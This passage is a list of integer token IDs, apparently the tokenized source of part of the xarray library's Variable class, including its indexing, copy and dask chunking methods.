4706,
1723,
13,
13,
4706,
716,
29918,
1989,
353,
5159,
13,
4706,
363,
413,
297,
1820,
29901,
13,
9651,
565,
338,
8758,
29898,
29895,
29892,
28736,
1125,
13,
18884,
413,
353,
413,
29889,
1272,
13,
9651,
565,
451,
338,
8758,
29898,
29895,
29892,
350,
3289,
2965,
29918,
27992,
4214,
29918,
15631,
29925,
2890,
1125,
13,
18884,
413,
353,
7442,
29889,
294,
2378,
29898,
29895,
29897,
13,
18884,
565,
413,
29889,
2311,
1275,
29871,
29900,
29901,
13,
462,
1678,
396,
317,
5897,
491,
4069,
1051,
29936,
12655,
1033,
451,
10115,
278,
26688,
13,
462,
1678,
413,
353,
413,
29889,
579,
668,
29898,
524,
29897,
13,
18884,
25342,
413,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29890,
1115,
13,
462,
1678,
313,
29895,
29892,
29897,
353,
7442,
29889,
5464,
9171,
29898,
29895,
29897,
13,
9651,
716,
29918,
1989,
29889,
4397,
29898,
29895,
29897,
13,
13,
4706,
736,
3964,
29879,
29892,
4451,
261,
3220,
261,
29898,
23583,
29898,
1482,
29918,
1989,
8243,
6213,
13,
13,
1678,
822,
903,
5464,
9171,
29898,
1311,
1125,
13,
4706,
9995,
11243,
27445,
12655,
29915,
29879,
1661,
9171,
541,
3639,
263,
18761,
310,
11681,
13876,
29889,
9995,
13,
4706,
396,
14402,
591,
881,
5191,
270,
1278,
29915,
29879,
7531,
1661,
9171,
13,
4706,
396,
1156,
2045,
597,
3292,
29889,
510,
29914,
29881,
1278,
29914,
29881,
1278,
29914,
12175,
29914,
29896,
29900,
29955,
29953,
338,
8762,
29889,
13,
4706,
1661,
3298,
359,
353,
7442,
29889,
5464,
9171,
29898,
1311,
29889,
1272,
29897,
13,
4706,
736,
18761,
29898,
16174,
3552,
6229,
511,
302,
29920,
29897,
363,
302,
29920,
29892,
3964,
297,
14319,
29898,
5464,
3298,
359,
29892,
1583,
29889,
6229,
29879,
876,
13,
13,
1678,
822,
903,
6729,
328,
4384,
29918,
2248,
267,
29918,
8111,
1891,
29898,
1311,
29892,
1820,
1125,
13,
4706,
3651,
353,
5159,
13,
4706,
714,
29918,
6229,
29879,
29918,
842,
353,
8170,
287,
2697,
580,
13,
4706,
363,
3964,
29892,
995,
297,
14319,
29898,
1311,
29889,
6229,
29879,
29892,
1820,
1125,
13,
9651,
565,
338,
8758,
29898,
1767,
29892,
22780,
1125,
13,
18884,
714,
29918,
6229,
29879,
29918,
842,
29889,
1202,
29898,
6229,
29897,
13,
9651,
1683,
29901,
13,
18884,
2286,
353,
313,
13,
462,
1678,
995,
13,
462,
1678,
565,
338,
8758,
29898,
1767,
29892,
28736,
29897,
13,
462,
1678,
1683,
408,
29918,
11918,
29898,
1767,
29892,
1024,
29922,
6229,
29897,
13,
18884,
1723,
13,
18884,
565,
2286,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29890,
1115,
29871,
396,
7223,
26190,
1206,
13,
462,
1678,
313,
11918,
29892,
29897,
353,
2286,
3032,
5464,
9171,
580,
13,
13,
18884,
3651,
29889,
4397,
29898,
11918,
29897,
13,
18884,
714,
29918,
6229,
29879,
29918,
842,
29889,
5504,
29898,
11918,
29889,
6229,
29879,
29897,
13,
13,
4706,
2286,
29918,
6229,
29879,
353,
731,
580,
13,
4706,
363,
2286,
297,
3651,
29901,
13,
9651,
2286,
29918,
6229,
29879,
29889,
5504,
29898,
11918,
29889,
6229,
29879,
29897,
13,
13,
4706,
269,
29399,
353,
5159,
13,
4706,
363,
474,
29892,
313,
6229,
29892,
995,
29897,
297,
26985,
29898,
7554,
29898,
1311,
29889,
6229,
29879,
29892,
1820,
22164,
13,
9651,
565,
338,
8758,
29898,
1767,
29892,
22780,
1125,
13,
18884,
565,
3964,
297,
2286,
29918,
6229,
29879,
29901,
13,
462,
1678,
396,
1334,
871,
3588,
22780,
3618,
304,
3651,
565,
896,
6232,
13,
462,
1678,
396,
263,
9927,
411,
472,
3203,
697,
916,
2286,
29889,
13466,
29892,
13,
462,
1678,
396,
591,
508,
5737,
2705,
5967,
963,
408,
269,
29399,
11208,
299,
1301,
4220,
13,
462,
1678,
396,
278,
1121,
29889,
910,
338,
16951,
8473,
29914,
5514,
8543,
13,
462,
1678,
396,
363,
1556,
1409,
1250,
1975,
29889,
13,
462,
1678,
1819,
353,
7442,
29889,
279,
927,
10456,
1767,
29889,
513,
1575,
29898,
1311,
29889,
29879,
7093,
29961,
6229,
12622,
13,
462,
1678,
3651,
29889,
7851,
29898,
29875,
448,
7431,
29898,
29879,
29399,
511,
28736,
3552,
6229,
29892,
511,
1819,
876,
13,
18884,
1683,
29901,
13,
462,
1678,
269,
29399,
29889,
4397,
3552,
29875,
29892,
995,
876,
13,
13,
4706,
1018,
29901,
13,
9651,
3651,
353,
903,
6729,
328,
4384,
29918,
12667,
29918,
20897,
10456,
20897,
29897,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
12020,
11374,
2392,
29898,
29888,
29908,
16142,
5580,
310,
2380,
414,
29635,
29901,
426,
1989,
27195,
13,
13,
4706,
714,
29918,
1989,
353,
518,
11918,
29889,
1272,
363,
2286,
297,
3651,
29962,
13,
4706,
714,
29918,
6229,
29879,
353,
18761,
29898,
449,
29918,
6229,
29879,
29918,
842,
29897,
13,
4706,
22780,
29918,
1066,
2187,
353,
731,
580,
13,
4706,
363,
474,
29892,
995,
297,
269,
29399,
29901,
13,
9651,
714,
29918,
1989,
29889,
7851,
29898,
29875,
29892,
995,
29897,
13,
9651,
716,
29918,
3283,
353,
714,
29918,
6229,
29879,
29889,
2248,
29898,
1311,
29889,
6229,
29879,
29961,
29875,
2314,
13,
9651,
22780,
29918,
1066,
2187,
29889,
1202,
29898,
1482,
29918,
3283,
29897,
13,
13,
4706,
565,
22780,
29918,
1066,
2187,
29901,
13,
9651,
716,
29918,
2098,
353,
518,
29875,
363,
474,
297,
3464,
29898,
2435,
29898,
449,
29918,
6229,
29879,
876,
565,
474,
451,
297,
22780,
29918,
1066,
2187,
29962,
13,
4706,
1683,
29901,
13,
9651,
716,
29918,
2098,
353,
6213,
13,
13,
4706,
736,
714,
29918,
6229,
29879,
29892,
16510,
1891,
3220,
261,
29898,
23583,
29898,
449,
29918,
1989,
8243,
716,
29918,
2098,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29901,
28736,
1542,
29892,
1820,
29897,
1599,
28736,
1542,
29901,
13,
4706,
9995,
11609,
263,
716,
28736,
1203,
5069,
8118,
526,
13747,
411,
13,
4706,
2805,
278,
4944,
1820,
515,
278,
14407,
848,
29889,
13,
13,
4706,
405,
29933,
29889,
4770,
657,
667,
1649,
322,
4770,
842,
667,
1649,
2334,
921,
2378,
29899,
3293,
26190,
29892,
13,
4706,
988,
565,
6611,
526,
443,
29880,
24025,
7049,
29892,
591,
2380,
278,
1409,
14219,
468,
265,
635,
13,
4706,
411,
963,
29889,
960,
6611,
526,
301,
24025,
1409,
313,
14565,
408,
9586,
1849,
511,
896,
526,
13,
4706,
12672,
287,
411,
1749,
9670,
11380,
322,
769,
278,
1409,
338,
27541,
411,
13,
4706,
278,
12672,
287,
1820,
29892,
763,
12655,
29915,
29879,
19231,
26190,
29889,
13,
13,
4706,
960,
366,
2289,
864,
304,
437,
26190,
763,
421,
29916,
29961,
29916,
1405,
29871,
29900,
29962,
1673,
26749,
278,
12655,
13,
4706,
1409,
421,
29916,
29889,
5975,
29952,
4153,
29889,
13,
4706,
9995,
13,
4706,
3964,
29879,
29892,
2380,
261,
29892,
716,
29918,
2098,
353,
1583,
3032,
6729,
328,
4384,
29918,
2248,
267,
29898,
1989,
29897,
13,
4706,
848,
353,
408,
29918,
2248,
519,
29898,
1311,
3032,
1272,
9601,
2248,
261,
29962,
13,
4706,
565,
716,
29918,
2098,
29901,
13,
9651,
848,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
11631,
8990,
29898,
1272,
29892,
3464,
29898,
2435,
29898,
1482,
29918,
2098,
8243,
716,
29918,
2098,
29897,
13,
4706,
736,
1583,
3032,
8394,
675,
29918,
2248,
292,
29918,
2914,
29898,
6229,
29879,
29892,
848,
29897,
13,
13,
1678,
822,
903,
8394,
675,
29918,
2248,
292,
29918,
2914,
29898,
1311,
29901,
28736,
1542,
29892,
3964,
29879,
29892,
848,
29897,
1599,
28736,
1542,
29901,
13,
4706,
9995,
29965,
8485,
491,
11374,
16174,
304,
736,
11374,
16174,
3618,
746,
1950,
1213,
15945,
13,
4706,
736,
1134,
29898,
1311,
5033,
6229,
29879,
29892,
848,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
903,
657,
667,
29918,
2541,
29918,
13168,
29898,
1311,
29892,
1820,
29892,
5445,
29918,
1767,
29922,
29881,
8768,
29889,
3521,
1125,
13,
4706,
9995,
3220,
445,
28736,
411,
448,
29896,
337,
655,
2986,
304,
5445,
29918,
1767,
1213,
15945,
13,
4706,
396,
14402,
29898,
845,
29877,
7598,
1125,
24396,
445,
1158,
297,
970,
3450,
9051,
313,
275,
295,
7897,
322,
13,
4706,
396,
671,
372,
363,
337,
2248,
29889,
13,
4706,
396,
14402,
29898,
845,
29877,
7598,
1125,
788,
263,
9753,
537,
1423,
393,
599,
916,
11920,
526,
13,
4706,
396,
1661,
29899,
22198,
13,
4706,
396,
14402,
29898,
845,
29877,
7598,
1125,
788,
385,
13883,
29892,
337,
20698,
448,
29896,
304,
385,
20114,
995,
13,
4706,
396,
393,
338,
2869,
27541,
3265,
1135,
10417,
372,
304,
278,
1833,
995,
13,
4706,
396,
3412,
1269,
9685,
29889,
13,
13,
4706,
565,
5445,
29918,
1767,
338,
270,
8768,
29889,
3521,
29901,
13,
9651,
5445,
29918,
1767,
353,
270,
8768,
29889,
657,
29918,
5589,
29918,
1767,
29898,
1311,
29889,
29881,
1853,
29897,
13,
13,
4706,
3964,
29879,
29892,
2380,
261,
29892,
716,
29918,
2098,
353,
1583,
3032,
6729,
328,
4384,
29918,
2248,
267,
29898,
1989,
29897,
13,
13,
4706,
565,
1583,
29889,
2311,
29901,
13,
9651,
565,
338,
29918,
700,
384,
29918,
29881,
1278,
29918,
2378,
29898,
1311,
3032,
1272,
1125,
13,
18884,
396,
270,
1278,
29915,
29879,
26190,
338,
8473,
445,
982,
29936,
884,
325,
2248,
947,
451,
13,
18884,
396,
2304,
8178,
16285,
3447,
29901,
13,
18884,
396,
2045,
597,
3292,
29889,
510,
29914,
29881,
1278,
29914,
29881,
1278,
29914,
26746,
29914,
29906,
29929,
29953,
29955,
13,
18884,
3935,
29918,
2248,
261,
353,
26190,
29889,
1066,
1598,
29918,
13168,
29918,
2248,
261,
29898,
2248,
261,
29897,
13,
9651,
1683,
29901,
13,
18884,
3935,
29918,
2248,
261,
353,
2380,
261,
13,
13,
9651,
848,
353,
408,
29918,
2248,
519,
29898,
1311,
3032,
1272,
9601,
19304,
29918,
2248,
261,
29962,
13,
9651,
11105,
353,
26190,
29889,
3258,
29918,
13168,
29898,
2248,
261,
29892,
1583,
29889,
12181,
29892,
848,
29897,
13,
9651,
396,
591,
817,
304,
21292,
278,
11105,
297,
1797,
304,
1209,
848,
937,
29889,
910,
6911,
13,
9651,
396,
16483,
304,
6755,
278,
1959,
5190,
13,
9651,
396,
14402,
29901,
29538,
1156,
2045,
597,
3292,
29889,
510,
29914,
29882,
7979,
26454,
29914,
29886,
524,
29914,
12175,
29914,
29896,
29900,
29896,
29929,
338,
4343,
13,
9651,
848,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
3062,
29898,
9302,
29889,
1188,
936,
29918,
1333,
29898,
13168,
511,
848,
29892,
5445,
29918,
1767,
29897,
13,
4706,
1683,
29901,
13,
9651,
396,
1409,
2609,
367,
27541,
3412,
13391,
310,
2159,
29871,
29900,
29892,
577,
925,
13,
9651,
396,
2048,
278,
11105,
4153,
2012,
29889,
13,
9651,
11105,
353,
26190,
29889,
3258,
29918,
13168,
29898,
2248,
261,
29892,
1583,
29889,
12181,
29897,
13,
9651,
848,
353,
7442,
29889,
6729,
328,
4384,
29918,
517,
29898,
5589,
29918,
1767,
29892,
679,
5552,
29898,
13168,
29892,
376,
12181,
613,
313,
4961,
13,
13,
4706,
565,
716,
29918,
2098,
29901,
13,
9651,
848,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
11631,
8990,
29898,
1272,
29892,
3464,
29898,
2435,
29898,
1482,
29918,
2098,
8243,
716,
29918,
2098,
29897,
13,
4706,
736,
1583,
3032,
8394,
675,
29918,
2248,
292,
29918,
2914,
29898,
6229,
29879,
29892,
848,
29897,
13,
13,
1678,
822,
4770,
842,
667,
12035,
1311,
29892,
1820,
29892,
995,
1125,
13,
4706,
9995,
1649,
842,
667,
1649,
338,
975,
15638,
304,
2130,
278,
14407,
12655,
1819,
411,
13,
4706,
28143,
26190,
29889,
13,
13,
4706,
2823,
4770,
657,
667,
1649,
363,
901,
4902,
29889,
13,
4706,
9995,
13,
4706,
3964,
29879,
29892,
2380,
29918,
23583,
29892,
716,
29918,
2098,
353,
1583,
3032,
6729,
328,
4384,
29918,
2248,
267,
29898,
1989,
29897,
13,
13,
4706,
565,
451,
338,
8758,
29898,
1767,
29892,
28736,
1125,
13,
9651,
995,
353,
408,
29918,
23712,
29918,
1272,
29898,
1767,
29897,
13,
9651,
565,
995,
29889,
299,
326,
1405,
7431,
29898,
6229,
29879,
1125,
13,
18884,
12020,
7865,
2392,
29898,
13,
462,
1678,
376,
12181,
29635,
29901,
995,
1409,
310,
8267,
1273,
29879,
1033,
451,
367,
376,
13,
462,
1678,
376,
6729,
328,
4384,
304,
26190,
1121,
411,
1273,
29879,
13391,
29908,
13,
462,
1678,
1273,
313,
1767,
29889,
12181,
29892,
7431,
29898,
6229,
29879,
876,
13,
18884,
1723,
13,
9651,
565,
995,
29889,
299,
326,
1275,
29871,
29900,
29901,
13,
18884,
995,
353,
28736,
29898,
3285,
995,
29897,
13,
9651,
1683,
29901,
13,
18884,
995,
353,
28736,
29898,
6229,
29879,
14352,
1767,
29889,
299,
326,
584,
1402,
995,
29897,
13,
4706,
396,
12672,
304,
4953,
3566,
519,
13,
4706,
995,
353,
995,
29889,
842,
29918,
6229,
29879,
29898,
6229,
29879,
467,
1272,
13,
13,
4706,
565,
716,
29918,
2098,
29901,
13,
9651,
995,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
294,
2378,
29898,
1767,
29897,
13,
9651,
995,
353,
995,
15625,
2435,
29898,
6229,
29879,
29897,
448,
995,
29889,
299,
326,
29897,
334,
313,
9302,
29889,
1482,
8990,
29892,
29897,
718,
313,
6489,
492,
567,
275,
29892,
4638,
13,
9651,
995,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
11631,
8990,
29898,
1767,
29892,
716,
29918,
2098,
29892,
3464,
29898,
2435,
29898,
1482,
29918,
2098,
4961,
13,
13,
4706,
2380,
519,
353,
408,
29918,
2248,
519,
29898,
1311,
3032,
1272,
29897,
13,
4706,
2380,
519,
29961,
2248,
29918,
23583,
29962,
353,
995,
13,
13,
1678,
732,
6799,
13,
1678,
822,
12421,
29879,
29898,
1311,
29897,
1599,
360,
919,
29961,
10438,
519,
29892,
3139,
5387,
13,
4706,
9995,
11513,
310,
1887,
8393,
373,
445,
2286,
1213,
15945,
13,
4706,
565,
1583,
3032,
5552,
29879,
338,
6213,
29901,
13,
9651,
1583,
3032,
5552,
29879,
353,
6571,
13,
4706,
736,
1583,
3032,
5552,
29879,
13,
13,
1678,
732,
5552,
29879,
29889,
842,
357,
13,
1678,
822,
12421,
29879,
29898,
1311,
29892,
995,
29901,
341,
20304,
29961,
10438,
519,
29892,
3139,
2314,
1599,
6213,
29901,
13,
4706,
1583,
3032,
5552,
29879,
353,
9657,
29898,
1767,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
8025,
29898,
1311,
1125,
13,
4706,
9995,
11513,
310,
2094,
397,
886,
373,
445,
2286,
1213,
15945,
13,
4706,
565,
1583,
3032,
22331,
338,
6213,
29901,
13,
9651,
1583,
3032,
22331,
353,
6571,
13,
4706,
736,
1583,
3032,
22331,
13,
13,
1678,
732,
22331,
29889,
842,
357,
13,
1678,
822,
8025,
29898,
1311,
29892,
995,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
3032,
22331,
353,
9657,
29898,
1767,
29897,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
12020,
7865,
2392,
703,
22331,
1818,
367,
4320,
519,
304,
263,
8600,
1159,
13,
13,
1678,
822,
3509,
29898,
1311,
29892,
6483,
29922,
5574,
29892,
848,
29922,
8516,
1125,
13,
4706,
9995,
11609,
29879,
263,
3509,
310,
445,
1203,
29889,
13,
13,
4706,
960,
421,
24535,
29922,
5574,
1673,
278,
848,
1409,
338,
7500,
964,
3370,
322,
13746,
11480,
13,
4706,
278,
716,
1203,
29889,
4792,
5580,
29892,
8393,
322,
2094,
397,
886,
526,
2337,
13746,
29889,
13,
13,
4706,
4803,
421,
1272,
29952,
304,
1653,
263,
716,
1203,
411,
278,
1021,
3829,
408,
13,
4706,
2441,
541,
9186,
716,
848,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
6483,
584,
6120,
29892,
13136,
13,
9651,
26460,
278,
848,
1409,
338,
7500,
964,
3370,
322,
13746,
11480,
13,
9651,
278,
716,
1203,
29889,
13109,
338,
5852,
29889,
13,
4706,
848,
584,
1409,
29918,
4561,
29892,
13136,
13,
9651,
3630,
304,
671,
297,
278,
716,
1203,
29889,
19928,
505,
1021,
8267,
408,
2441,
29889,
13,
9651,
1932,
421,
1272,
29952,
338,
1304,
29892,
421,
24535,
29952,
338,
17262,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1203,
584,
28736,
13,
9651,
1570,
1203,
411,
13391,
29892,
8393,
29892,
2094,
397,
886,
29892,
322,
2984,
635,
13,
9651,
848,
13746,
515,
2441,
29889,
13,
13,
4706,
1222,
9422,
13,
4706,
448,
26589,
13,
13,
4706,
1383,
9536,
3509,
23797,
6483,
3509,
13,
13,
4706,
8653,
722,
353,
921,
29878,
29889,
16174,
29898,
1272,
11759,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
1402,
3964,
29879,
543,
29916,
1159,
13,
4706,
8653,
722,
29889,
8552,
580,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
2314,
13,
4706,
8653,
722,
29918,
29900,
353,
722,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
4706,
8653,
722,
29918,
29900,
29961,
29900,
29962,
353,
29871,
29955,
13,
4706,
8653,
722,
29918,
29900,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
29955,
29892,
29871,
29906,
29892,
29871,
29941,
2314,
13,
4706,
8653,
722,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
29955,
29892,
29871,
29906,
29892,
29871,
29941,
2314,
13,
13,
4706,
678,
9776,
278,
848,
773,
278,
4954,
1272,
16159,
2980,
7344,
29879,
278,
13,
4706,
3829,
310,
278,
2441,
1203,
29892,
541,
411,
278,
716,
848,
29889,
8533,
13,
4706,
1203,
338,
1185,
7161,
287,
29889,
13,
13,
4706,
8653,
722,
29889,
8552,
29898,
1272,
11759,
29900,
29889,
29896,
29892,
29871,
29900,
29889,
29906,
29892,
29871,
29900,
29889,
29941,
2314,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
29900,
29889,
29896,
29892,
29871,
29900,
29889,
29906,
29892,
29871,
29900,
29889,
29941,
2314,
13,
4706,
8653,
722,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
29955,
29892,
29871,
29906,
29892,
29871,
29941,
2314,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
11701,
29889,
17271,
29889,
8552,
13,
4706,
9995,
13,
4706,
565,
848,
338,
6213,
29901,
13,
9651,
848,
353,
1583,
3032,
1272,
13,
13,
9651,
565,
338,
8758,
29898,
1272,
29892,
26190,
29889,
16015,
29907,
3791,
2588,
1125,
13,
18884,
396,
1016,
29915,
29873,
6232,
22488,
1546,
14591,
13,
18884,
848,
353,
26190,
29889,
16015,
29907,
3791,
2588,
29898,
1272,
29889,
2378,
29897,
13,
13,
9651,
565,
6483,
29901,
13,
18884,
848,
353,
3509,
29889,
24535,
8552,
29898,
1272,
29897,
13,
13,
4706,
1683,
29901,
13,
9651,
848,
353,
408,
29918,
23712,
29918,
1272,
29898,
1272,
29897,
13,
9651,
565,
1583,
29889,
12181,
2804,
848,
29889,
12181,
29901,
13,
18884,
12020,
7865,
2392,
29898,
13,
462,
1678,
376,
1469,
8267,
6571,
1818,
1993,
8267,
310,
1203,
6571,
1642,
4830,
29898,
13,
462,
4706,
848,
29889,
12181,
29892,
1583,
29889,
12181,
13,
462,
1678,
1723,
13,
18884,
1723,
13,
13,
4706,
396,
4443,
29901,
13,
4706,
396,
3964,
29879,
338,
2307,
385,
5198,
9246,
18761,
13,
4706,
396,
8393,
322,
8025,
674,
367,
13746,
746,
278,
716,
4398,
338,
2825,
13,
4706,
736,
1583,
3032,
6506,
29898,
1272,
29922,
1272,
29897,
13,
13,
1678,
822,
903,
6506,
29898,
13,
4706,
1583,
29892,
3964,
29879,
29922,
29918,
4381,
29892,
848,
29922,
29918,
4381,
29892,
12421,
29879,
29922,
29918,
4381,
29892,
8025,
29922,
29918,
4381,
13,
1678,
1723,
1599,
376,
16174,
1115,
13,
4706,
565,
3964,
29879,
338,
903,
4381,
29901,
13,
9651,
3964,
29879,
353,
3509,
29889,
8552,
29898,
1311,
3032,
6229,
29879,
29897,
13,
4706,
565,
848,
338,
903,
4381,
29901,
13,
9651,
848,
353,
3509,
29889,
8552,
29898,
1311,
29889,
1272,
29897,
13,
4706,
565,
12421,
29879,
338,
903,
4381,
29901,
13,
9651,
12421,
29879,
353,
3509,
29889,
8552,
29898,
1311,
3032,
5552,
29879,
29897,
13,
4706,
565,
8025,
338,
903,
4381,
29901,
13,
9651,
8025,
353,
3509,
29889,
8552,
29898,
1311,
3032,
22331,
29897,
13,
4706,
736,
1134,
29898,
1311,
5033,
6229,
29879,
29892,
848,
29892,
12421,
29879,
29892,
8025,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
4770,
8552,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
13,
1678,
822,
4770,
24535,
8552,
12035,
1311,
29892,
2626,
29877,
29922,
8516,
1125,
13,
4706,
396,
2626,
29877,
947,
3078,
541,
338,
3734,
363,
24521,
411,
13,
4706,
396,
3509,
29889,
24535,
8552,
13,
4706,
736,
1583,
29889,
8552,
29898,
24535,
29922,
5574,
29897,
13,
13,
1678,
396,
26691,
3618,
881,
451,
367,
6608,
519,
13,
1678,
396,
2045,
597,
3292,
29889,
510,
29914,
4691,
29914,
1357,
2272,
29914,
12175,
29914,
29946,
29906,
29953,
29953,
13,
1678,
4770,
8568,
1649,
353,
6213,
29871,
396,
1134,
29901,
11455,
13,
13,
1678,
732,
6799,
13,
1678,
822,
521,
18801,
29898,
1311,
1125,
13,
4706,
9995,
7445,
13391,
363,
445,
1409,
29915,
29879,
848,
470,
6213,
565,
372,
29915,
29879,
451,
263,
270,
1278,
13,
4706,
1409,
29889,
13,
4706,
9995,
13,
4706,
736,
679,
5552,
29898,
1311,
3032,
1272,
29892,
376,
305,
18801,
613,
6213,
29897,
13,
13,
1678,
903,
2378,
29918,
11808,
353,
4256,
8504,
29889,
2798,
580,
13,
13,
1678,
822,
19875,
29898,
1311,
29892,
521,
18801,
3790,
1118,
1024,
29922,
8516,
29892,
7714,
29922,
8824,
1125,
13,
4706,
9995,
7967,
261,
346,
445,
1409,
29915,
29879,
848,
964,
263,
270,
1278,
7049,
411,
278,
2183,
521,
18801,
29889,
13,
13,
4706,
960,
445,
2286,
338,
263,
1661,
29899,
29881,
1278,
1409,
29892,
372,
674,
367,
11543,
304,
270,
1278,
13,
4706,
1409,
29889,
960,
372,
29915,
29879,
263,
270,
1278,
1409,
29892,
372,
674,
367,
337,
29812,
287,
304,
278,
2183,
19875,
13,
4706,
15786,
29889,
13,
13,
4706,
960,
9561,
521,
18801,
338,
451,
4944,
363,
697,
470,
901,
13391,
29892,
19875,
13,
4706,
15786,
3412,
393,
9927,
674,
451,
367,
4784,
29936,
1661,
29899,
29881,
1278,
7049,
674,
367,
13,
4706,
11543,
964,
270,
1278,
7049,
411,
263,
2323,
2908,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
521,
18801,
584,
938,
29892,
18761,
470,
9657,
29892,
13136,
13,
9651,
678,
2960,
15786,
3412,
1269,
9927,
29892,
321,
29889,
29887,
1696,
4954,
29945,
29952,
1673,
4954,
29898,
29945,
29892,
29871,
29945,
3569,
29952,
470,
13,
9651,
4954,
10998,
29916,
2396,
29871,
29945,
29892,
525,
29891,
2396,
29871,
29945,
10114,
1412,
13,
4706,
1024,
584,
851,
29892,
13136,
13,
9651,
501,
8485,
304,
5706,
278,
1024,
363,
445,
1409,
297,
278,
7463,
270,
1278,
13,
9651,
3983,
29889,
5538,
451,
817,
451,
367,
5412,
29889,
13,
4706,
7714,
584,
13136,
13,
9651,
6978,
287,
373,
304,
584,
2272,
29901,
9891,
18078,
29881,
1278,
29889,
2378,
29889,
3166,
29918,
2378,
1673,
565,
278,
1409,
338,
451,
13,
9651,
2307,
408,
270,
1278,
1409,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
19875,
287,
584,
921,
2378,
29889,
16174,
13,
4706,
9995,
13,
4706,
1053,
270,
1278,
13,
4706,
1053,
270,
1278,
29889,
2378,
408,
1146,
13,
13,
4706,
565,
521,
18801,
338,
6213,
29901,
13,
9651,
18116,
29889,
25442,
29898,
13,
18884,
376,
8516,
995,
363,
525,
305,
18801,
29915,
338,
18164,
29889,
376,
13,
18884,
376,
3112,
674,
12020,
385,
1059,
297,
278,
5434,
29889,
4803,
2012,
525,
8875,
29915,
613,
13,
18884,
7663,
29922,
20154,
22709,
29892,
13,
9651,
1723,
13,
9651,
521,
18801,
353,
6571,
13,
13,
4706,
565,
3667,
29879,
29889,
275,
29918,
8977,
29918,
4561,
29898,
305,
18801,
1125,
13,
9651,
521,
18801,
353,
426,
1311,
29889,
657,
29918,
8990,
29918,
1949,
29898,
6229,
1125,
19875,
363,
3964,
29892,
19875,
297,
521,
18801,
29889,
7076,
28296,
13,
13,
4706,
848,
353,
1583,
3032,
1272,
13,
4706,
565,
338,
29918,
700,
384,
29918,
29881,
1278,
29918,
2378,
29898,
1272,
1125,
13,
9651,
848,
353,
848,
29889,
276,
29812,
29898,
305,
18801,
29897,
13,
4706,
1683,
29901,
13,
9651,
565,
338,
8758,
29898,
1272,
29892,
26190,
29889,
9544,
4019,
368,
3220,
287,
1125,
13,
18884,
396,
853,
14727,
5794,
4386,
1409,
8635,
1250,
1975,
313,
4561,
12670,
29907,
4037,
29946,
322,
298,
29945,
2272,
29897,
13,
18884,
396,
393,
508,
29915,
29873,
4386,
2498,
1409,
26190,
29889,
1152,
1342,
29892,
297,
7787,
29907,
4037,
29946,
366,
13,
18884,
396,
508,
437,
376,
5561,
29908,
26190,
3412,
1023,
13391,
7417,
29892,
607,
1736,
13,
18884,
396,
17587,
515,
920,
11848,
19737,
17766,
372,
29889,
13,
18884,
396,
1146,
29889,
3166,
29918,
2378,
1736,
491,
773,
17366,
26190,
411,
263,
18761,
310,
269,
29399,
29889,
13,
18884,
396,
5293,
4451,
261,
3220,
261,
338,
263,
282,
1431,
29885,
2454,
7348,
29901,
270,
1278,
947,
451,
3447,
4386,
13,
18884,
396,
1422,
26190,
4072,
297,
385,
6261,
982,
29901,
13,
18884,
396,
2045,
597,
3292,
29889,
510,
29914,
29881,
1278,
29914,
29881,
1278,
29914,
12175,
29914,
29906,
29947,
29947,
29941,
13,
18884,
848,
353,
26190,
29889,
24192,
4019,
1762,
9544,
4019,
3220,
292,
6168,
29898,
13,
462,
1678,
848,
29892,
26190,
29889,
3744,
261,
3220,
261,
13,
18884,
1723,
13,
18884,
565,
4309,
852,
6594,
29898,
29881,
1278,
17255,
3259,
1649,
29897,
529,
376,
29906,
29889,
29900,
29889,
29900,
1115,
13,
462,
1678,
9049,
5085,
353,
6571,
13,
18884,
1683,
29901,
13,
462,
1678,
396,
2178,
310,
1749,
425,
29920,
2354,
7500,
14998,
1409,
4413,
881,
671,
11848,
19737,
13,
462,
1678,
396,
1409,
6931,
29889,
13,
462,
1678,
9049,
5085,
353,
8853,
7299,
1115,
7442,
29889,
299,
2378,
29913,
13,
9651,
1683,
29901,
13,
18884,
9049,
5085,
353,
6571,
13,
13,
9651,
565,
3667,
29879,
29889,
275,
29918,
8977,
29918,
4561,
29898,
305,
18801,
1125,
13,
18884,
521,
18801,
353,
18761,
29898,
305,
18801,
29889,
657,
29898,
29876,
29892,
269,
29897,
363,
302,
29892,
269,
297,
26985,
29898,
1311,
29889,
12181,
876,
13,
13,
9651,
848,
353,
1146,
29889,
3166,
29918,
2378,
29898,
1272,
29892,
521,
18801,
29892,
1024,
29922,
978,
29892,
7714,
29922,
908,
29892,
3579,
19290,
